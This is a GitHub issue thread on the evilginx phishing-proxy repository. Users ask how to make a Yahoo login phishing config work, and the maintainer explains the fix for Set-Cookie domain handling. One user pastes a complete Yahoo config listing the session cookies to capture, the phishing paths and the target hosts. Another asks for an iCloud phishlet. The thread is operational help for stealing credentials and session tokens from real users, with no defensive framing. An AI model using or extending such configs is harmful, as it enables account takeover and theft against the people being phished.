search

kgretzky / evilginx

PLEASE USE NEW VERSION: https://github.com/kgretzky/evilginx2
MIT License
1.07k stars 260 forks source link

set-cookies header problem #7

Closed agendasep closed 7 years ago

agendasep commented 7 years ago

hi, i am making a config for yahoo and have problem with set-cookies header. it is: set-cookie: AS=v=1&s=MGDmtRQc; path=/; domain=.login.yahoo.com; secure; HttpOnly and as you see it have secure flag. i think library can't change domain so it pass to browser with wrong domain and can't set in cookies storage (our fake domain is e.g: fakeyahoo.com). do you have any idea? thanks

kgretzky commented 7 years ago

Yes, I can see the problem. To solve it you would have to create a new site .conf file for login.yahoo.com domain with similiar setup to correctly proxy requests to different domain.

This week I will be releasing a big update with more site templates. One of the templates handles the issue you described, so you will be able to see how its done.

agendasep commented 7 years ago

It's worked!. Thank you so much.

kgretzky commented 7 years ago

Awesome! Happy to help!

leperjulien commented 6 years ago

Hi @kgretzky

I'm actually trying the same thing as sepehrrahami, and i'm stuck at the same point he was i guess!

The page is loading on my registred domain but when i enter anything the username field it says that i must enable cookie in order to login , i tried to make my login.yahoo.com.conf similar as the one you used for icloud template but i must be doing something wrong..

Could you point me in the right direction maybe ?

My yahoo.creds looks like this

[creds] email_arg=username passwd_arg=password tokens=[{"domain":".yahoo.com","cookies":["B", "F", "HP", "PH", "SSL", "T", "U", "Y", "YLS","CH", "FPCK2", "FPS", "fpc", "fpc_s", "fpl", "fpt"]},{"domain":".login.yahoo.com","cookies":["AS"]}]

and here is my config

[site] name=yahoo site_conf=["login.yahoo.com.conf"] creds_conf=yahoo.creds phish_subdomains=["www"] phish_paths=["/?.src","/account/challenge/password"] target_hosts=["login.yahoo.com","yahoo.com"] cookie_hosts=["login.yahoo.com","yahoo.com"] redir_arg=rc success_arg=rd log_name=evilginx-yahoo.log cert_subdomains=["www"]

Thanks and awesome work btw ;)

ghost commented 4 years ago

Hello do you have icloud phishlet? If yes then can you share?